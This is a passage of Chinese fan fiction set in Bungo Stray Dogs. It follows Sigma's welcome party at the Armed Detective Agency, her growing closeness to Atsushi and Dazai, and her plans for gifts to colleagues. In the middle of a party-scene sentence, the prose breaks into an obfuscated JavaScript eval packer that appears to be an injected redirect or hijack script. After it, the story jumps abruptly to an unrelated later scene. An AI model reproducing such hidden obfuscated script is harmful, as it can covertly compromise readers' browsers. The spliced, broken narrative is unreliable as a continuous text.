西格玛也朝他微微笑了笑,面对这个曾有过交集的少年,她稍微放松了一些。 “这位是泉镜花。” 中岛敦轻声介绍身边的少女。 泉镜花抬起沉静如水的眸子,看向西格玛,轻轻点了点头,算是打过招呼。 她的存在感很独特,安静却不容忽视。 “你好,泉小姐。” 西格玛也谨慎地回应。 “啊,贤治!谷崎!直美!” 江户川乱步又发现了目标。 正在给盆栽浇水的宫泽贤治转过身,露出阳光般灿烂的笑容:“呀哈!是新来的姐姐吗?你好!我是宫泽贤治!欢迎来到侦探社!” “你好,宫泽先生。” 西格玛被他充沛的活力感染,也稍稍弯起了嘴角。 坐在办公桌后的谷崎润一郎显得有些腼腆,他站起身,礼貌地打招呼:“你好,我是谷崎润一郎。请多指教。” 而几乎挂在他身上的谷崎直美则眼睛发亮地看着西格玛,热情地说:“我是直美!西格玛小姐是吗?好漂亮的人!欢迎加入!以后请多指教哦!哥哥大人,你说是不是?” 她说着更紧地搂住了谷崎润一郎的胳膊,后者瞬间红了脸,支吾着应和。 西格玛被这对兄妹的互动弄得有些不知所措,但还是礼貌地回应:“你们好,谷崎先生,直美小姐。请多指教。” 一番介绍下来,西格玛几乎有些晕头转向,但每个人或严肃、或热情、或安静的态度,都让她清晰地感受到,这是一个真实存在的、接纳了她的集体。 这与她之前所处的任何环境都不同,没有利用,没有交易,没有随时可能降临的致命危险,只有一种……平凡而坚实的“日常”。 就在西格玛努力消化这些新面孔和名字时,江户川乱步拍了拍手,吸引了所有人的注意。 “那么——为了欢迎新加入的西格玛!” 他宣布,声音里充满了不容置疑的雀跃,“我决定,今天晚上,大家一起开一个简单的欢迎会!社长大叔那边我会去说的!” “诶?!” 西格玛再次愣住了,这次是彻彻底底的茫然。 欢迎会?为了她? 侦探社的成员们对此似乎早已习惯江户川乱步的突发奇想。 与谢野笑着摇了摇头,国木田则开始翻手册查找晚间计划调整的条款,中岛敦和宫泽贤治表示赞同,谷崎直美欢呼起来,连泉镜花都微微抬了下眼。 西格玛愣愣地看着眼前这个仿佛能决定一切、又带着纯粹善意的名侦探,喉咙有些发紧。 她从未被这样对待过,以“欢迎”的名义。 半晌,西格玛才找回自己的声音,微微低下头,轻声说: “……谢谢。真的……非常感谢。” 太宰治一直站在稍远一点的地方,看着这一幕。 看着她从紧张到茫然,再到此刻眼中隐隐闪动的、因为被集体接纳而生的微光。 他脸上依旧挂着那副让人捉摸不透的微笑,只是指尖在风衣口袋里,无意识地轻轻摩挲了一下。 欢迎会啊……真是乱步先生的风格。 也好。就让她,再多感受一点这“阳光之下”的温度吧。 至于这温度最终会将她引向何方,又会如何影响那根连接着他们的、无形的线……他且耐心地看着。 —————— 斜阳的余晖将武装侦探社的玻璃窗染成温暖的琥珀色,透过百叶窗的缝隙,在木质地板投下斑驳的光影。 为新成员西格玛举办的欢迎会正热闹地进行着。 女子组这边,直美正拉着西格玛的手,热情地介绍着侦探社附近的甜品店。 “那家的草莓蛋糕特别好吃,下次我们一起去吧!” 她眼睛亮晶晶的,另一只手挽着哥哥谷崎润一郎的胳膊。 西格玛有些腼腆地点头,淡紫色与白色交织的长发在夕阳下泛着柔和的光泽。 泉镜花安静地坐在西格玛身旁的沙发上,双手规矩地放在膝上,像只乖巧的黑猫。 她听着直美欢快的讲述,偶尔小幅度地点点头。 当西格玛说话时,泉镜花会微微侧过头,专注地看着她。 不知怎地,西格玛看着镜花那认真的小脸,没忍住伸手轻轻揉了揉她的头发。 泉镜花的眼睛瞬间亮了起来,虽然表情依旧平静,但整个人仿佛被点亮了一般,轻轻向西格玛的方向靠了靠。 不远处,男子组的气氛则更加喧闹。 太宰治不知从哪里翻出一副扑克牌,正试图说服国木田独步加入“侦探社特色扑克游戏”,而国木田正一手按着《理想》笔记本,一手推着眼镜反驳:“现在不是进行无意义娱乐活动的时间!欢迎会的流程表上明确写着——” “国木田君真是死板啊~”太宰拖长了音调,已经灵活地抽走了对方笔记本旁的一支笔,“看,这支笔现在是我的了!” 中岛敦苦笑着看着前辈们日常的争执,手里拿着饮料杯,不知该不该介入。 福泽谕吉社长则端坐在办公桌前,面前摆着一杯清茶,神情严肃却并不制止这场热闹。 偶尔,他的目光会扫过被女性成员环绕的西格玛,眼底闪过一丝难以察觉的温和。 江户川乱步靠在窗边,眯着眼睛享受最后一点夕阳,手里拿着一袋粗点心。 他的目光在室内扫视一圈,最终落在门口,中岛敦正走向空了的饮料箱上。 “饮料好像不够了。”中岛敦看了眼箱子,自然地站起身拿起钱包,“我去买一些回来。” 刚走到玄关,身后就传来了轻柔的脚步声。 西格玛正有些局促地站在沙发旁,见他要出门,连忙快步跟了上来,指尖下意识地攥了攥裙摆:“中岛君,我和你一起去吧,我也能帮忙拿。” 中岛敦愣了一下,随即笑着摆手:“不用麻烦你了,我一个人就可以的。” “没关系的。”西格玛抬起头,眼底带着几分认真,还有一丝不易察觉的恳切,“明明是为我办的欢迎会,我也想帮大家做点什么。” 她的声音很轻,却格外坚定,“谢谢你们愿意收留我。” 看着她澄澈眼眸里的真诚,中岛敦便不再推辞,点了点头:“那好吧,麻烦你了。” 两人的身影消失在门外。 窗边的江户川乱步将最后一块粗点心塞进嘴里,眯起的眼睛转向了不知何时凑到自己身边的太宰治。 太宰正用一种夸张的语调说着什么无聊的谜语,但江户川乱步看得很清楚——这家伙是故意缠着他的。 为了让敦和她单独相处吗? 江户川乱步绿色的眼睛微微睁开一条缝,瞥了太宰一眼。 太宰治依然挂着那副漫不经心的笑容,既不承认也不否认。 江户川乱步轻哼一声,重新闭上了眼睛。 这也是为了让她开心?名侦探在心里得出了结论,却并不说破。 有时候,人们需要一点小小的空间和契机,而太宰这家伙,偶尔也会做点细腻的安排嘛。 天空逐渐染上夜色,武装侦探社灯火通明,新人聚会的喧闹声透过敞开的窗户飘了出去。 街边的路灯晕开暖黄的光,落在并肩行走的两人身上,拉出长长的影子。 “第一次参加这样的聚会,你会不会觉得不习惯?”中岛敦侧过头,看着身边垂着眼的西格玛,轻声问道。 西格玛愣了一下,随即轻轻摇头:“不会,大家都很照顾我。” 她的声音更软了些,指尖悄悄松开了裙摆,“而且……有你在,我安心很多。” 中岛敦的耳根微微发烫,连忙转过头看向前方,脚步都快了几分:“那、那就好。” 自动贩卖机就在不远处的巷口,中岛敦投币买了几罐果汁和碳酸饮料,刚要伸手去接,西格玛就主动上前,接过了其中两罐,稳稳地抱在怀里。 两人各拎着饮料,慢悠悠地往回走。路过侦探社的落地窗时,西格玛忽然停下了脚步。 “今晚的月亮很圆呢。”她轻声说道,目光望向窗外的夜空。 明亮的银月高悬在空中。 在一旁微弱闪耀的星子,就像是希望一样。 中岛敦顺着她的视线看去。 一轮皎洁的明月悬在墨蓝色的天幕上,清辉洒在街道上,给一切都镀上了一层柔和的银边。 他下意识地转头看向身边的人,恰好对上西格玛望过来的目光。 月光落在她半紫半白的长发上,泛着淡淡的光泽,细碎的刘海被风吹得轻轻晃动,衬得她的眼眸愈发清澈明亮。 长长的睫毛在眼下投出一小片阴影,像蝶翼般轻轻颤动。 察觉到他的视线,西格玛没有躲闪,反而对着他露出了一个浅浅的笑容。 那笑容很淡,嘴角只是微微勾起,却像春日里融化冰雪的第一缕阳光,温柔得让人心头一颤。 眼底的局促与不安早已褪去,只剩下纯粹的暖意,像盛满了整片星空的光。 中岛敦的心跳莫名漏了一拍,怔怔地看着她,一时忘了移开目光。 在他眼里,此刻的西格玛,比窗外那轮皎洁的月色,还要耀眼,还要动人。 他忽然想起那天在高空坠落时,她最后的那个笑容,悲伤又释然。 而此刻这个笑容,却带着纯粹的暖意,像一颗小石子,轻轻投进了他的心湖,漾开一圈圈温柔的涟漪。 “走吧,大家还在等着呢。” 西格玛见他愣着,轻轻晃了晃手里的饮料罐,笑容里多了几分浅浅的羞涩,连耳尖都染上了淡淡的粉色。 “啊、好!”中岛敦猛地回过神,耳根微微发烫,连忙跟上她的脚步。 心却还停留在刚才那个瞬间。 他看到了比月色更美的景色。 等西格玛和中岛敦提着饮料回到侦探社时,屋内的气氛已经变得更加热烈。 太宰治不知何时真的开始了扑克游戏,正高声宣布要玩“侦探社特别版真心话大冒险”。 输家要么回答一个辛辣问题,要么完成他指定的“无伤大雅”的小挑战。 国木田独步在一旁眉头拧成了结,笔记本上“禁止太宰滥用娱乐活动干扰秩序”的条目已经写了又划掉三次。 “哦呀,采购小队回来了!” 太宰眼尖地发现了门口的两人,立刻挥手,“正好正好,西格玛酱快来抽一张牌!新人必须参加第一轮哦~” 西格玛有些不知所措地被拉进了圈子里,中岛敦也笑着被推了过去。 泉镜花默默挪了挪,在西格玛身边空出一个位置。 游戏意外地变成了西格玛的“认知风暴”。 当直美抽到国王牌,笑眯眯地晃了晃手里的纸牌,拖长语调问“西格玛酱现在最想和谁搭档出任务”时,西格玛的脸瞬间涨红,像浸了蜜的樱桃般透着滚烫的粉色。 她慌乱地眨了眨眼,眼神不受控地先飘向身旁正襟危坐的中岛敦。 少年脊背挺得笔直,耳尖却悄悄泛了薄红,正有些无措地避开她的视线。 可还没等她稳住心绪,起哄声从桌角蔓延开来,西格玛像受惊的小鹿般猛地收回目光,指尖下意识地绞紧了裙摆的蕾丝花边,指节泛白。 就在众人以为她要彻底埋首认输时,她的视线又不受控制地转向了斜对面的太宰治。 男人手肘支在桌沿,指尖抵着下巴,鸢色的眼眸里盛着玩味的笑意,正饶有兴致地望着她,仿佛在期待一场有趣的好戏。 那过于直白的注视让西格玛的心跳漏了一拍,脸颊的热度瞬间攀升到顶点,连耳尖都烧得发烫。 她慌忙垂下头,长长的睫毛在眼睑下投出细碎的阴影,声音细若蚊蚋,还带着不易察觉的颤音:“……大、大家都很好。” 话音刚落,桌上的起哄声更甚,太宰治低低地笑出了声,中岛敦的耳尖红得几乎要滴血,而西格玛的手指绞得更紧了,连呼吸都变得有些急促。 轮到江户川乱步当国王时,他咬着粗点心,腮帮鼓鼓的,含糊不清却精准得一针见血:“那就请西格玛说说,第一次见到武装侦探社全体成员时,心里偷偷给每个人取的绰号吧!” ——这个要求让连国木田都忍不住好奇地推了推眼镜,指尖已经下意识摸向了笔记本。 西格玛窘迫得几乎要缩成一团,耳尖红得快要滴血,声音细若蚊蚋:“太宰先生……像水里的海草,抓不住;乱步先生……像看透一切的猫;国木田先生……像严谨的钢笔……” 每说一个,被点到的人表情都变得十分精彩,而其他人早已笑倒一片。 “抓不住吗?” 西格玛的话音刚落,一道带着笑意的声音便轻轻响起。 太宰治支着下巴,鸢色眼眸里漾着细碎的光,那抹惯常挂在嘴角的戏谑淡了些,反倒添了几分不易察觉的认真。 他在心里低低地笑,原来在她眼里,自己是这样的存在啊。 抓不住的海草? 倒也不算错,可若是对象是她,他忽然觉得,被抓住也没什么不好,甚至可以说,相当乐意。 思绪流转间,他已经直起身,语气重新染上惯有的调笑,尾音微微上扬,带着几分刻意的委屈:“哎呀呀,西格玛酱真是过分呢~” “像我这样英俊潇洒的美男子,怎么能是黏糊糊的海草呢?” “至少也该是深海里闪闪发光的珍珠,或者让人一眼心动的人鱼王子才对嘛!” 他说着,还故意对着西格玛眨了眨眼,引得桌上众人笑声更烈。 西格玛被他直白的调侃说得脸颊发烫,染上淡淡的红晕,纤长的眼睫也颤动起来。 太宰治只是笑着,隐约的期待了起来。 最欢腾的一幕发生在与谢野晶子加入战局之后。 这位飒爽的医生抽到大冒险,太宰治眼睛一亮,提出了“请用听诊器给社长测心跳并大声报数”的魔鬼挑战。 在福泽谕吉无奈又纵容的默许下,与谢也晶子真的拿着听诊器走了过去。 当她不带感情地报出“每分钟62次,非常健康”时,太宰已经笑得滚到了地上,而社长的嘴角似乎也微不可查地抽动了一下。 谷崎润一郎和妹妹直美在角落的沙发里说着悄悄话,偶尔传来直美开心的轻笑和谷崎略显慌乱又温柔的回应。 偶尔,直美会突然提高声音,向人群中的西格玛挥挥手,喊一句“西格玛酱,下次我们一起去买衣服吧!”,换来西格玛红着脸用力点头。 泉镜花依旧安静,但她的膝上不知何时多了一袋粗点心,是江户川乱步悄悄塞过来的。 她小口小口地吃着,眼睛在西格玛被众人环绕、时而紧张时而微笑的脸上停留,然后轻轻拉了拉西格玛的袖子,将一块兔子形状的饼干递了过去。 夜色渐深,窗外的月亮爬得更高。 侦探社里,灯光将每个人的影子投在墙上,交织成一幅喧闹而温暖的剪影。 零食袋窸窣作响,笑声、争论声、扑克牌甩在桌上的声音此起彼伏。 西格玛坐在这一片温暖的嘈杂中央,手里捧着泉镜花给的饼干,耳边听着中岛敦小声帮她解围“太宰先生你别再逗她啦”。 感觉胸口某个空旷的地方,正被一种陌生的、充盈的热度缓缓填满。 她悄悄抬眼,目光扫过每一张带着笑意的脸。 这里不再是需要警惕的战场,而是可以放下双肩、让笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“比如螃蟹风味活力清炖鸡?或者豆腐脑配酱油?”太宰眨眨眼,“国木田君说那是‘对食材的犯罪’。” 两人在厨房里配合默契,太宰切豆腐,西格玛煎饺子,偶尔简短地交谈几句。 阳光完全洒进厨房时,早餐已经准备好了。 他们面对面坐在小餐桌旁,热腾腾的味增汤冒着白气。 “我开动了。”西格玛轻声说。 “我开动了~”太宰的声音轻快得多。 煎饺外酥里嫩,味增汤咸淡适中。太宰治吃得很满足的样子,甚至多添了一碗汤。 西格玛看着他,心里涌起一种奇异的满足感。 为别人准备食物,然后一起分享,原来是这样的感觉。 早餐后,两人一起收拾了餐具,换上外出服装,并肩出门上班。 三月末的风吹过街道,路边的樱花树飘下细碎的花瓣,像是淡粉色的雪。 “樱花都开了啊,”太宰抬头看着行道树,“春天真好啊,适合入水——” “太宰,”西格玛无奈地打断他,“请不要说这种话。” 太宰治笑了起来,声音在清晨的街道上格外清晰。 西格玛侧头看他,阳光透过樱花枝桠,在他鸢色的头发和外套上投下斑驳的光影。 这个人总是说着些不着调的话,做着让人哭笑不得的事,但不知为何,有他在身边,她确实感到安心。 到达武装侦探社时,大部分人已经到岗。 国木田独步正站在白板前,手中的笔记本翻开到今日计划的那一页。 “早上好,国木田先生。”西格玛礼貌地打招呼。 国木田独步推了推眼镜,神情严肃但语气温和:“早上好,西格玛。今天开始正式工作,我先带你熟悉文书处理流程。” 西格玛被领到一张靠窗的办公桌前,桌上已经整齐地摆放好了文具和文件架。 国木田独步开始讲解侦探社的文书分类系统、委托报告的标准格式、档案管理方法……他讲得详细而系统,每一个步骤都清晰明了。 西格玛专注地听着,那些信息进入脑海后便自动归类整理。 当国木田独步讲完,问她是否有疑问时,她摇了摇头:“我都记住了,国木田先生。” 国木田独步有些怀疑地看着她,递给她一叠需要归档的旧报告:“那么,试着把这些按日期和案件类型分类归档。” 西格玛接过文件,迅速浏览了一遍,然后开始工作。 她的手指在文件间轻盈移动,分类、标注、放入对应的文件夹,整个过程行云流水,不到半小时就完成了国木田独步预计需要两小时的工作。 国木田独步检查了她的成果,眼镜后的眼睛微微睁大:“……全部正确。连三年前那份模糊日期的报告都放对了位置。” “那份报告的正文里提到了‘上周的连续雨天’,”西格玛解释道,“我查了天气记录,确定了具体日期。” 国木田独步沉默了几秒,然后郑重地点头:“很好。那么这些新到的委托申请也拜托你了,需要初步筛选和分类。” “是。” 整个上午,西格玛都沉浸在文书工作中。她发现自己的记忆力确实异于常人,只要看过一遍的文件,内容、日期、甚至页码都清晰可忆。 国木田独步交给她的工作,她总能高效准确地完成,甚至能提前预判下一步需要什么资料。 午休时分,国木田独步来到她桌前,表情是罕见的放松:“西格玛,你的工作能力非常出色。侦探社的文书工作一直是我在主要负责,现在终于有人可以分担了。” 西格玛抬起头,对上国木田独步认真的目光:“能帮上忙,我很高兴,国木田先生。” 她确实这么想。国木田独步是一个严谨到近乎刻板的人,但他的严谨来自于对工作的极度负责。 他教她时耐心细致,交接工作时条理清晰,遇到问题时会认真听取她的意见而非独断专行。 在他身上,西格玛看到了一种坚实的可靠感。 “一起去吃午饭吗?”太宰治不知何时凑了过来,手里晃着便利店袋子,“我买了饭团哦~” 西格玛看了看国木田独步,后者已经回到了自己的座位,显然打算边工作边解决午餐。 她点点头,跟着太宰来到休息区。 两人坐在窗边,分享着饭团和茶。西格玛小口咬着鲑鱼饭团,忽然说:“太宰,从明天开始,我可以做便当。” 太宰的眼睛立刻亮了:“真的吗?国木田君总是说我买的便利店食物‘缺乏营养均衡’。” “嗯,”西格玛点头,“做便当的话,可以控制营养搭配。而且……比便利店便宜。” 太宰治举起双手表示完全赞成:“那就这么说定了!需要我帮忙采购食材吗?” “如果你有空的话。” 下午的工作与上午相似,只是多了一些需要与国木田独步对接的部分。 西格玛很擅长这类需要精确记忆和整理的工作,每一个细节都能妥善处理。 国木田独步对她的信任也明显增加,开始交给她一些更重要的文件。 三点左右,国木田拿着外套起身:“太宰,有委托需要外出调查,你跟我一起去。” “诶——明明下午的阳光这么适合偷懒——”太宰治趴在桌上拖长了声音,但在国木田独步严厉的目光下还是不情不愿地站了起来。 走到门口时,他回过头,对西格玛眨了眨眼:“我会在下班前回来的,等着我一起回家哦。” 西格玛点了点头,看着他被国木田独步拖走的背影,嘴角不自觉地上扬。 侦探社里安静下来,只剩下文件翻动的声音和偶尔的电话铃声。 西格玛继续工作,效率高得让她自己都有些惊讶。 四点半,她完成了国木田独步交代的所有任务,甚至还整理出了下周可能需要预处理的文件列表。 五点整,侦探社的门被推开了。 太宰治一边伸着懒腰一边走进来:“我回来了——国木田君还在和委托人周旋,我就先溜了~” “欢迎回来,太宰。”西格玛自然地说出这句话,然后愣了一下——这句话说得太过顺畅,仿佛已经说过无数次。 太宰也顿了顿,随即笑了:“嗯,我回来了。工作完成了?” “是的。国木田先生交代的任务都做好了。” “那我们就回家吧~” 两人再次并肩走在黄昏的街道上。 下班时间,街上行人多了起来,电车从附近的轨道上驶过,发出规律的声响。 路过一家生活用品超市时,西格玛停下了脚步。 “需要买便当盒,”她说,“还有保鲜盒,如果要带味增汤的话。” 太宰治跟着她走进超市。 西格玛仔细挑选着便当盒,最终选了两个素色的双层饭盒,又拿了一套小号的保鲜盒。 太宰治则在零食区转悠,随手往购物篮里扔了一包棉花糖和两罐蟹肉罐头。 对上西格玛望过来的目光,他挑眉笑:“这是幸福感的必需品~” 收银台旁,太宰治自然地掏出钱包付了钱,全程流畅得没有半分迟疑。 西格玛看着他递钱、接小票的动作,唇瓣动了动,想说些什么,终究还是没出声,只是默默跟在他身后,看着他拎起购物袋走出了超市。 夕阳将两人的影子拉得很长,一路延伸回公寓。 晚餐是简单的亲子丼和蔬菜味增汤。 西格玛做饭时,太宰在旁边帮忙洗米切菜。 饭后,两人自然的分工,西格玛负责清洗,太宰治负责擦干。 水声哗哗,碗碟碰撞发出清脆声响,窗外夜色渐浓。 “我去洗澡了。”收拾完厨房,西格玛轻声说。 “嗯,我先看会儿书。”太宰治窝进客厅的沙发里,腿上摊开那本翻得有些旧的《完全自杀手册》,指尖却只是轻轻搭在纸页上,没急着翻动。 浴室很快漫起温热的水汽。 西格玛将身体浸入浴缸,温热的水包裹住全身,一天的疲惫仿佛随着呼吸被缓缓吐出。 她闭上眼睛,感受着这份宁静。 在天空赌场,她从未有过这样的时刻——永远在计算、在警惕、在维持那个庞大的设施运转。 而现在,她可以只是泡在热水里,什么也不想。 洗漱完毕,换上睡衣的西格玛走出浴室。 太宰治也已经换好了睡衣,正从厨房端着两杯热牛奶走出来。 “睡前喝一杯,有助于睡眠哦。”他将一杯递给西格玛。 “谢谢。”西格玛接过,温热的杯子暖着手心。 两人在客厅里安静地喝完了牛奶。杯子洗净放好后,他们站在各自的卧室门前。 “晚安,太宰。” “晚安,西格玛。做个好梦。” 门轻轻关上。 西格玛躺进柔软的床铺,被子有阳光晒过的味道。 她望着天花板,回忆着今天发生的一切—— 清晨共同准备的早餐,上班路上飘落的樱花,国木田先生认真的指导,午休时简单的饭团,下午安静的工作,黄昏时一起回家的路,超市里挑选便当盒,晚餐时厨房的灯光,浴缸里温暖的流水,还有那句自然的“晚安”。 这一切都平凡得不可思议,却又珍贵得让她想要紧紧抓住。 没有赌场的喧嚣与危险,没有高空坠落时的绝望,没有那些必须记住的成千上万条情报。 有的只是煎饺的香气、文件的触感、同事的交谈、归家的路途。 这是她从未想过自己能够拥有的平静日常。 西格玛侧过身,将脸埋进柔软的枕头里,鼻尖萦绕着淡淡的阳光与皂角香。 窗外传来远处汽车的嗡鸣,如同这座城市平稳的呼吸。 在这呼吸声中,她的意识渐渐沉入温暖的黑暗。 今夜,她会做一个平静的梦。 29. 日常 入职武装侦探社的第一周,西格玛已经逐渐适应了这种规律而充实的生活。 每天早晨与太宰治一起准备早餐,步行上班,处理文书工作,午休时分享便当,傍晚一同回家。 这种循环往复的日常,对她而言,是陌生而珍贵的安稳。 一个周四的下午,西格玛完成了手头所有文件的归档工作后,轻轻叩响了社长办公室的门。 “请进。”福泽谕吉沉稳的声音从门后传来。 西格玛推门而入。社长办公室内简洁而肃穆,墙上挂着字画,书架上整齐排列着各类书籍。 福泽社长正坐在办公桌后阅读文件,见她进来,便放下了手中的笔。 “社长,打扰了。”西格玛微微鞠躬,“我……有一个请求。” 福泽谕吉点点头,示意她说下去。 “我想预支一个月的工资。” 西格玛的声音有些紧张,但眼神很坚定,“我知道这不符合常规,但我有必须这么做的理由。” 福泽没有立刻回答,而是静静地看着她。他的目光并不严厉,却有种能看透人心的穿透力。 西格玛感到自己的手指不自觉地收紧了。 “原因是什么?”社长终于开口,声音一如既往地平稳。 西格玛深吸一口气:“我想感谢大家。从我来到这里,每个人都对我很好。国木田先生耐心教我工作,直美带我熟悉周围,镜花总是安静地陪着我……” 她的声音逐渐变得柔软,“还有太宰先生,他给了我住处,陪我适应这里的生活。我想用自己赚来的钱,给大家买一点礼物。” 办公室里安静了几秒。 窗外的阳光斜射进来,在光洁的地板上投出窗格的影子。 福泽谕吉看着眼前这个年轻人——她站得笔直,双手在身前交握,眼中既有紧张,也有真挚的感激。 他想起了第一次见到她的场景:精神和□□都遭受着痛苦,眼中却有着不愿放弃的光。 而现在,那光芒已经变得柔和,融入了这个集体。 “我明白了。”福泽谕吉终于说道,从抽屉里取出一个信封,“这是你预支的工资。不过,西格玛,” 他顿了顿,语气中带着难得的温和,“能收留你,是因为你自己值得被接纳。侦探社的每个人,都是因为认可你才对你好的。” 西格玛接过信封,眼眶微微发热:“谢谢社长。我一定会更努力工作的。” 福泽谕吉点了点头,嘴角浮现出几乎看不见的弧度:“去吧。不过,工作要按时完成。” “是!” —————— 揣着那个装着预支工资的信封,西格玛回到自己的座位。 她没有立刻开始工作,而是拿出笔记本,翻到空白的一页。 笔尖在纸面上悬停片刻,然后开始移动。 【国木田独步——钢笔】 她写下第一行。脑海里浮现出那个严谨的背影:国木田先生总是坐得笔直,手中的钢笔在纸上划过时发出沉稳的沙沙声。 她注意过他常用的那支笔,黑色笔身已经有些磨损,笔帽处有细微的划痕。一支优质的新钢笔,应该能让他工作时更加顺手。 西格玛在下面补充:要选重量适中、书写流畅的,黑色或深蓝色。 【与谢野晶子——草本香薰】 医务室里总是弥漫着消毒水的气味。西格玛记得有一次送文件过去,看见与谢野医生揉着太阳穴,眼下有淡淡的疲惫阴影。 能够缓解疲劳、舒缓情绪的香薰,或许能让她在解剖和治疗的间隙,感受到一点植物的清新气息。 西格玛写下:薰衣草或洋甘菊,安神助眠。 【宫泽贤治——牛玩偶】 “我老家是养牛的。”宫泽贤治说这话时眼睛亮晶晶的,脸上带着淳朴的怀念。 西格玛想象着他收到牛玩偶时的笑容,那种毫无保留的、像乡下阳光一样灿烂的笑容。 她要找的不是卡通化的牛,而是做工精致、模样温顺真实的乳牛玩偶,最好是柔软的绒布材质。 【谷崎直美——果香味护手霜】 “西格玛酱也要注意护理哦。”直美曾这样说着,展示自己保养得当的双手。 她提到过一款桃子香味的护手霜,说“特别甜,像刚摘下来的水蜜桃”。 西格玛记下了这个细节。她会在旁边标注:要滋润但不黏腻的质地。 【谷崎润一郎——花香护手霜(与直美配对)】 给直美的哥哥,西格玛想到了同系列但香味更中性的款式。 淡雅的樱花或白茶香气,包装最好是简洁的深蓝色或灰色。 她注意到谷崎先生的手上偶尔会有细小的伤痕,大概是工作中不小心弄伤的。护手霜应该也能帮助修复。 【泉镜花——兔子玩偶】 这是最简单也最确定的选择。镜花对兔子的喜爱显而易见:手机挂饰、便当盒图案、笔记本角落的小涂鸦…… 西格玛已经看中了一只纯白色的兔子玩偶,耳朵要长长的、软软的,大小刚好可以抱在怀里。 泉镜花抱着它时,也许脸上会出现难得一见的柔软表情。 写到这里,西格玛的笔停了下来。 还有四个人——江户川乱步、福泽社长、中岛敦,以及太宰治。 乱步喜欢什么?社长会接受什么样的礼物?敦需要什么?而太宰…… 西格玛看着纸上剩下的空白,感到一种淡淡的焦虑。 她已经想好了大部分人的礼物,但这些最关键的选择,却让她犹豫不决。 午休的铃声恰好在这时响起。西格玛合上笔记本,决定去找一个人咨询。 医务室的门虚掩着,里面传来医疗器械碰撞的清脆声响。 西格玛轻轻敲了敲门。 “进来吧,门没锁。”与谢野晶子的声音传来,带着一丝了然的笑意,仿佛早就知道她会来。 西格玛推门进去。与谢野晶子正在整理手术器械,银色的器具在午后阳光下闪着冷冽的光。 她抬起头,看到西格玛手中拿着笔记本和那个信封,了然地笑了:“为了礼物的事?” “是的。”西格玛老实地点头,“我已经想好了给国木田先生、您、贤治、谷崎兄妹和镜花的礼物,但是……” 她翻开笔记本,指向那几个空白,“江户川先生、社长、中岛君,还有太宰先生的礼物,我不知道该送什么。” 与谢野晶子放下手中的镊子,擦干净手,走到西格玛面前。 她接过笔记本看了看,赞许地点头:“想得很周到嘛。”然后她指了指旁边的椅子,“坐吧,我慢慢跟你说。” 两人面对面坐下。窗外传来楼下咖啡店的隐约音乐声。 “乱步先生的话很简单。”与谢也晶子竖起一根手指,“零食,特别是甜食。他收集各种口味的波子汽水里面的弹珠,办公室里那个小柜子你见过吧?里面全是他的收藏。送他几瓶特别的波子汽水,他肯定会高兴得当场打开喝掉。” 西格玛迅速记下:波子汽水,多种口味。 “社长的话,”与谢野晶子继续,“他喜欢喝茶。办公室里那套茶具用了很多年了,送他一套新的会很合适。不用太华丽,素雅简洁的最好。颜色嘛……米白、浅灰、靛蓝这类沉稳的颜色都可以。” 西格玛点头:茶具,素雅简洁。 “敦那孩子,”与谢也晶子的语气变得柔和,“因为异能的关系,运动量很大,经常训练完就瘫在那里,忘了补充水分。送他一个结实耐用的水瓶,提醒他多喝水。最好容量大一点,保温效果好。” 西格玛写下:水瓶,大容量,保温。 然后,她抬起眼,有些犹豫地问:“那……太宰呢?” 医务室里的空气似乎微妙地改变了流动的速度。 与谢野晶子盯着西格玛看了好一会儿,眼神变得复杂而深邃。 西格玛被她看得有些不安,手指无意识地摩挲着笔记本的边缘。 “太宰啊……”与谢野晶子最终长长地吐出一口气,向后靠在椅背上,“老实说,我琢磨不透那家伙喜欢什么。他表面上好像什么都无所谓——漂亮的女性、精致的食物、有趣的自杀方式——但实际上……” 她停顿了一下,目光在西格玛脸上逡巡:“不过我可以告诉你一点。” 西格玛专注地等待。 “无论你送他什么,”与谢野晶子一字一句地说,声音里有一种罕见的温柔,“他都会开心的。” 西格玛愣住了。她眨了眨眼,似乎没完全理解这句话的含义。 与谢野晶子看着这个表情茫然的年轻人,在心里叹了口气。 太宰那家伙,这次倒是捡到了一个单纯得几乎透明的好孩子。 她想起太宰最近的变化:不再整天念叨着自杀,开始准时出现在侦探社,甚至会在午休时认真吃完便当而不是溜出去喝酒。 “为什么?”西格玛终于问出口,声音很轻。 与谢野晶子笑了,那笑容里有洞察一切的锐利,也有某种温柔的纵容:“这个嘛,等你送礼物的时候就知道了。” 她站起身,拍了拍西格玛的肩膀,“总之,相信我的话,按你自己的心意选就好。你比你以为的更了解太宰,也更了解你自己想要表达什么。” 西格玛虽然还是不解,但她相信与谢也医生。她轻轻点了点头,合上笔记本:“我明白了。谢谢您。” “不客气。”与谢野晶子送她到门口,在拉开门时又补充了一句,“对了,西格玛。” “是?” “有时候不要想太多。”与谢野晶子的眼神温暖,“跟着感觉走就好。” —————— 那天傍晚,西格玛照例和太宰治一起去超市采购。 太宰推着购物车在生鲜区挑选晚餐食材时,西格玛轻声说:“太宰先生,我去零食区看看。” “好啊~记得看看有没有新口味的蟹肉罐头!”太宰治头也不回地挥挥手,正专注地比较着两种豆腐的产地。 西格玛应声点头,转身走向零食区的方向。 她没有直接奔向摆放着彩色波子汽水的货架,而是先绕到了罐头陈列区。 太宰特意叮嘱过要找新口味的蟹肉罐头,这是她此行的第一要务。 货架上整齐码放着各式罐头,海鲜类的区域里,蟹肉罐头占据了不小的位置,金属罐身印着肥美的蟹钳图案,在灯光下泛着冷亮的光泽。 西格玛蹲下身,仔细地一排排查看,从原味到所谓的“特级鲜煮”,再到标注着“低盐”“加量”的款式。 翻来覆去看了许久,却始终没找到太宰口中的“新口味”。 没有紫苏味,没有芝士焗烤味,也没有传闻中限量发售的柚子味,货架上最显眼的,依旧是最经典的原味蟹肉罐头。 她指尖摩挲着罐头冰凉的表面,想起太宰每次吃到蟹肉罐头时眼睛发亮的样子,犹豫了一瞬,还是拿起两罐原味的放进购物篮里。 就算没有新口味,太宰应该也会喜欢的。 解决了罐头的事,西格玛才推着小购物篮走向零食区。 货架上,五颜六色的波子汽水像宝石一样排列着,在超市的灯光下闪烁着诱人的光泽。 